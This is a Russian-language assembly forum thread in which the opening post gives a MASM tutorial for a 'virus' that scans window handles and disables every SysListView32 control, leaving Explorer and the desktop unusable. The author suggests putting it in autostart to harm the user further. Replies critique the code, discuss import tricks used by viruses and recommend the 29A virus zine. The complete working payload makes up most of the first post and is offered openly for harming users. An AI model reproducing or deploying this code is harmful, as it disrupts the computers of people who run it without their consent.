IPB
ЛогинПароль:

> ПРАВИЛА РАЗДЕЛА!!!

1. Заголовок или название темы должно быть информативным
2. Все тексты программ должны помещаться в теги [CODE=asm] [/CODE]
3. Прежде чем задавать вопрос, см. "FAQ",если там не нашли ответа, воспользуйтесь ПОИСКОМ, возможно, такую задачу уже решали!
4. Не предлагайте свои решения на других языках, кроме Ассемблера. Исключение только с согласия модератора.
5. НЕ используйте форум для личного общения! Все, что не относиться к обсуждению темы - на PM!
6. Проверяйте программы перед тем, как выложить их на форум!!

2 страниц V  1 2 >  
 Ответить  Открыть новую тему 
> Написание простейшего вируса на ассемблере, Не кому не читать!!!
сообщение
Сообщение #1


Пионер
**

Группа: Пользователи
Сообщений: 69
Пол: Мужской
Реальное имя: Вася Пупкин

Репутация: -  1  +


От нечего делать решил написать про вирусы! Вот она наболевшая проблема компьютеров! Вирус будет существовать всегда, т.к. желающих портить и ломать софт всегда хватало. Подозреваю что и Ты решил написать что-нибудь подобное(иначе зачем это читать?). Итак кончаем трепаться и перейдем к делу(круто звучит?): писать вирус мы будем на ассемблере, поэтому любители всяких "Дельфи" просьба удалиться, зрелище не для слабонервных(так многим кажется)! Что нам потребуется? Минимально нам потребуется компилятор ассемблера, компоновщик и любой текстовый редактор. Неплохо было бы иметь под рукой отладчик (я использую OllyDbg v1.09) Я рекомендую использовать для компиляции пакет MASM. Он лучше всего подходит для создания Windows приложений. Итак когда все есть можно приступить к делу.
    Для данного вируса мне потребуется всего три стандартных функции Win32: ExitProcess из kernel32.dll и EnableWindow и GetClassNameA из user32.dll.    Нужно обьявить их в коде:

includelib \masm32\lib\kernel32.lib
extrn__imp__ExitProcess@4:dword
ExitProcessequ __imp__ExitProcess@4
includelib \masm32\lib\user32.lib
extrn__imp__EnableWindow@8:dword
extrn__imp__GetClassNameA@12:dword
EnableWindowequ __imp__EnableWindow@8
GetClassNameequ __imp__GetClassNameA@12



   Теперь, когда обьявлены экспортируемые функции, можно перейти к сегменту данных. В сегменте данных мне понадобится 4 байта. В этой памяти мы будем хранить первые 4 байта из названия класса.
.386
.model flat
.data
buffer db 4 dup (?)

   Перейдем непосредственно к реализации кода. В регистре esi с самого начала программы я буду хранить числа от 0 до 100000. Зачем это нужно? Я в кратце попытаюсь объяснить мой алгоритм:
    У каждого элемента управления Windows есть хендл (по-русски дескриптор). Он уникален и не может повторятся, этим мы и воспользуемся. Из своих наблюдений и опыта я заметил, что ОС Windows присваивает элементам управления(Button, ListBox, Edit...) дескрипторы от 0 и выше. Все зависит от количества открытых приложений, и от количества элементов управления в них. Думаю что в среднем открытых хендлов в системе имеется не более 20000, но мы перестрахуемся и переберем первые 100000. Благодаря быстродействию современных компьютеров можно было бы проверить все возможные хендлы в системе, а это довольно много(от 0 до 0FFFFFFFFh), но мы этого делать не будем. Как я указал ранее хранить дескрипторы будем на регистре esi, и будем проверять каждый с помощью функции Windows GetClassNameA на имя искомого класса, зарание нами указанного(в моем примере это SysListView32, но при желании можно поискать кнопки и т.д.). Думаю нужно рассказать как работает GetClassNameA.
    Вот как выглядит описание этой функции на сайте MSDN:
int GetClassName(
   HWND   hWnd,
   LPTSTR lpClassName,
   int    nMaxCount
);
hWnd - Дескриптор, класс которого нужно узнать.
lpClassName - Указатель на строку, в которую функция запишет имя класса.
nMaxCount - Сколько символов нужно записать в вышеуказанную строку.

   Возвращаемое значение: Количество скопированых байт в успешном случае, или 0 при ошибке. Подробнее об ошибке можно узнать вызвав GetLastError.
   Далее если функция GetClassNameA не дала в результате 0, то мы проверяем является ли класс, находящийся в buffer именно SysListView32. Если мы нашли искомый класс, то можно сделать юзеру пакость. Имея нужный нам хендл (на esi) наши возможности по управлению им (классом) становятся практически неограниченными. Здесь наши пути могут разойтись. Если цель данного вируса - простая шутка, то можно, скажем изменить надпись на элементе управления (если сканировать будете на Button...) или добавить пару пунктов в SysListView32 или переместить объект по окну или... Еще раз повторю: наши возможности практически неограничены! Все зависит от вашей фантазии. Лично я в этом примере поступлю так: если нахожу SysListView32, то делаю его недоступным, а если не нахожу, то перехожу к следующему хендлу и т.д. Надеюсь до этого все понятно, идем дальше. Сегмент кода:
.code
_start:
xor esi, esi    ; В esi 0
mov ebx, 100000 ; В ebx 100000
lea edi, buffer

   Далее идет главный участок программы, это цикл, который должен повториться 100000 раз. Почему именно 100000 раз? - Смотрите выше.


repeat_this:
; Увеличиваем esi на 1, тем
; самым перейдя на следующий возможный хендл
inc esi

   Затем, теоретически имея на esi хендл мы проверим, является ли данное число искомым классом. Воспользуемся функцией Api GetClassNameA. В результате при удачном выполнении мы получим имя класса в массиве buffer, а если что-то не так, то в результате GetClassName выдаст нам 0.
push5      ; Сколько байт записывать
push edi; Куда их записывать
push esi
callGetClassName
; Если GetClassName не дал результатов, то идем ниже
test eax, eax

jz@1

   Теперь время фишки: я записую в массив только 4 байта из названия класса. Во-первых так мы добьемся более высокой скорости выполнения, во-вторых я не припоминаю стандартных классов Windows начинающихся с "SysL" кроме SysListView32.

cmp dword ptr [edi], 'LsyS'
jne @1

   Круто! Есть первый кандидат на "затемнение". Чтобы сделать SysListView32 заблокированным вызовем стандартную функцию EnableWindow. По традиции заглянем в MSDN:
BOOL EnableWindow (
       HWND   hWnd,
       BOOL   Enable
      );
hWnd - Блокиpуемое или pазблокиpуемое окно.
Enable - TRUE, для разблокирования. FALSE, для блокировки.

Возвpащаемое значение:
Не нуль - в случае успешного завеpшения. 0 - в пpотивном случае.

push FALSE    ; Не активный
push esi         ; хендл SysListView32
call EnableWindow
@1:
; Устанавливает Zero-флаг в 1, если источник=0
dec ebx
; Если не 0, то переходим на новый поиск
jnzrepeat_this
Когда сделали жизнь юзеру хуже, закрываемся и уходим!

push ebx               ; ebx=0
call ExitProcess
end _start

   Конечно работать без проводника и рабочего стола юзеру будет тяжело smile.gif. Но еще более осложнить ему жизнь можно поместив нашу програмку в автозагрузку, будет весело! Но уж это сами! Я ни какой ответственности не несу. И вообще я компьютеров побаиваюсь smile.gif

Сообщение отредактировано: volvo -


--------------------
Стабильность - признак мастерства
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #2


Смотрю...
*****

Группа: Пользователи
Сообщений: 1 055
Пол: Мужской
Реальное имя: Пшеничный Алексей Анатольевич

Репутация: -  6  +


ИМХО:
Dark, Shadow - я бы рейтинг ему поднял... за инициативу и желание поделиться знаниями!

Решение за Вами.


--------------------
Если что-то не делает того, что вы запланировали ему делать - это еще не означает, что оно бесполезно.
--------------------
Прежде, чем задать вопрос - Правила :: FAQ :: Поиск
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #3


Lonely_Raven
****

Группа: Пользователи
Сообщений: 640
Пол: Мужской

Репутация: -  1  +


TheLizard
:D весьма забавно
продолжай в том же ДУХЕ я очень доволен
только читабельнее бы все это сделать
----------
еще можно посоветовать программу

Microsoft Spy++


которая выдает названия классов и дескр окон и сообщения в окна приходящие

Сообщение отредактировано: Shadow -


--------------------
Программа делает то что вы ей приказали а не то что бы ВАМ хотелось бы.
МЕРФИ
---------------------
RTFM - Read the fucking manual
---------------------
http://www.livejournal.com/users/lonley_raven/
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #4


Пионер
**

Группа: Пользователи
Сообщений: 69
Пол: Мужской
Реальное имя: Вася Пупкин

Репутация: -  1  +


smile.gif
Очень приятно.

Ждите, может ещё что нибудь вылезет. :p2:


--------------------
Стабильность - признак мастерства
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #5


Гость






Так держать smile.gif
 К началу страницы 
+ Ответить 
сообщение
Сообщение #6


Профи
****

Группа: Пользователи
Сообщений: 775
Пол: Мужской

Репутация: -  0  +


Может быть лучше написать антивирус?
Всяко полезней, касперский конечно сила, но только вот ресурсов жрет много...
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #7


Пионер
**

Группа: Пользователи
Сообщений: 69
Пол: Мужской
Реальное имя: Вася Пупкин

Репутация: -  1  +


А может ты напишешь? Или вместе? smile.gif
Вообще идей много, только некому писать(или ни кто не хочет)! sad.gif


--------------------
Стабильность - признак мастерства
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #8


Профи
****

Группа: Пользователи
Сообщений: 775
Пол: Мужской

Репутация: -  0  +


Давай вместе, я давно уж хотел это сделать, то что идеи Касперского по организации антивирусного контроля херовые и неправильные, всем давно известно. Когда-то мне, как и товарищу ФАРОНОВУ (сила), очень понравилась идея тов. Шерстюка, о внедрении кода самодиагностики, но вроде как это тож херня. Антивирус ставится на ЧИСТУЮ систему, отсюда и нужно плясать..
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #9


Гость






TheLizard, не повезло тебе. Я ещё не отошёл от пьянки, а мне пришлось переть на работу и т. д. Короче я в злом состоянии взялся читать твой пост. Лови за это кучу критики smile.gif Надеюсь не обидешься, а примешь к сведению.

Цитата
От нечего делать решил написать про вирусы!

Если честно, то на вирус это не похоже ну ни капельки. Трояном ещё назвать можно, но вирусом никак.

Цитата
для компиляции пакет MASM. Он лучше всего подходит для создания Windows приложений

Всю жизть писал на TASM и не заморачивался. Ассемблер - это асемблер. Нефиг в него всческие инвоки, вайлы и т. д. пихать.

Цитата
Для данного вируса мне потребуется всего три стандартных функции Win32: ExitProcess из kernel32.dll и EnableWindow и GetClassNameA из user32.dll.

Для вириев обычно импортируют LoadLibrary и GetProcAddress. А остальное можно и позже подгрузить...

Цитата
Из своих наблюдений и опыта я заметил, что ОС Windows присваивает элементам управления(Button, ListBox, Edit...) дескрипторы от 0 и выше.

А из своих наблюдений и MSDN'а я заметил, что Handle=0 только у окна DeskTop'а. А вообще Handle - это не ID. Он не просто куча циферок, он хранит в себе некоторую инфу об объекте.

Цитата
Думаю что в среднем открытых хендлов в системе имеется не более 20000, но мы перестрахуемся и переберем первые 100000

20000 это ты перегнул, но вот ограничение всёравно глупое. Я же сказал, что Handle - не ID. И в последующих версиях винды никто не гарантирует, что все хандлы допустим едита не будут содержать 1 в каком-нибудь 20-ом бите.

Цитата
Имея нужный нам хендл (на esi) наши возможности по управлению им (классом) становятся практически неограниченными.

Ну, это в тебе мания величия проснулась... Не с КЛАССОМ! С классом ты особо не напакостишь (надоест быстрее), а с окном! У классов нет хандлов, хотя что-то похожее и имеется...

Цитата
Теперь время фишки: я записую в массив только 4 байта из названия класса. Во-первых так мы добьемся более высокой скорости выполнения, во-вторых я не припоминаю стандартных классов Windows начинающихся с "SysL" кроме SysListView32.

А вот возьму я и создам класс по имени SystemListener... А вообще ускорение на таком уровне - бред. Чего ты добьёшься? Пару тактов сэкономишь в обмен на нестабильность программы? Я бы не стал...

Цитата
По традиции заглянем в MSDN:

Почаще бы ты это делал, так и про EnumWindows узнал бы...

З. Ы. : ещё раз - "ничего личного". Просто здоровая критика программиста... Или нездоровая маразматика... Ну, сам разбирайся smile.gif
 К началу страницы 
+ Ответить 
сообщение
Сообщение #10


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


BlackShadow прав. Только и на троян это мало похоже. Это скорее всего полезная нагрузка для выря. Но всё-равно TheLizard хорошо постарался.
Кстати, BlackShadow, для выря можно вовсе ничего импортировать...

З.Ы. А мне инвоки нравятся! Пуши ещё в ДОСе задолбали smile.gif


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #11


Гость






FreeMan, ты про вариант с прыжками в кернел и т. д.? Можно и так, но стрёмно. В разных вёндах точка фхода в разных местах. В какой-то книге вроде про 98 что-то говорили (приводился пример для обычной 98 и 98se), а для остальных самому ловить или на халяву надеяться?
 К началу страницы 
+ Ответить 
сообщение
Сообщение #12


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


BlackShadow, оно очень даже страшненько. Словить не проблема. Проблемы дальше... Вылетает постоянно General Protection Error, или как её там. Уже надо SEH. А в NT - это гиблое дело.
А вообще, если ты импортишь LoadLibrary и GetProcAddress, то они доступны в первом поколении. Не в каждой заражаемой проге они импортированы. Надо ловить...


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #13


Пионер
**

Группа: Пользователи
Сообщений: 69
Пол: Мужской
Реальное имя: Вася Пупкин

Репутация: -  1  +


sad.gif Пойду напьюсь.

Сообщение отредактировано: TheLizard -


--------------------
Стабильность - признак мастерства
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #14


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


TheLizard, лучше скачай и почитай 29А :D


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #15


Смотрю...
*****

Группа: Пользователи
Сообщений: 1 055
Пол: Мужской
Реальное имя: Пшеничный Алексей Анатольевич

Репутация: -  6  +


TheLizard
И убиваться (читай упиваться) по этом поводу не надо. Труд хороший!
А здоровая критика ведет к еще более лучшему. :D


--------------------
Если что-то не делает того, что вы запланировали ему делать - это еще не означает, что оно бесполезно.
--------------------
Прежде, чем задать вопрос - Правила :: FAQ :: Поиск
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #16


Пионер
**

Группа: Пользователи
Сообщений: 69
Пол: Мужской
Реальное имя: Вася Пупкин

Репутация: -  1  +


Нет проблем. Приму критику к сведению, но про антивирус писать отказываюсь, т.к. некогда. И вообще после 07.08.04 у меня не будет интернета, не знаю на сколько!


--------------------
Стабильность - признак мастерства
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #17


Гость






Хреново дело...
 К началу страницы 
+ Ответить 
сообщение
Сообщение #18


Пионер
**

Группа: Пользователи
Сообщений: 69
Пол: Мужской
Реальное имя: Вася Пупкин

Репутация: -  1  +


Очень хреново... Седня последний день! sad.gif


--------------------
Стабильность - признак мастерства
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
сообщение
Сообщение #19


Гость






Ну вот, ещё одна извилина попала под статью "лето"... Нас всё меньше и меньше sad.gif
 К началу страницы 
+ Ответить 
сообщение
Сообщение #20


Знаток
****

Группа: Пользователи
Сообщений: 408
Пол: Мужской

Репутация: -  3  +


А продолжение будет??? :D


--------------------
- Где я?
- Во тьме.
- В какой тьме?
- Во тьме твоего мозга.
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 

2 страниц V  1 2 >
 Ответить  Открыть новую тему 
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 





- Текстовая версия 20.04.2024 0:53
500Gb HDD, 6Gb RAM, 2 Cores, 7 EUR в месяц — такие хостинги правда бывают
Связь с администрацией: bu_gen в домене octagram.name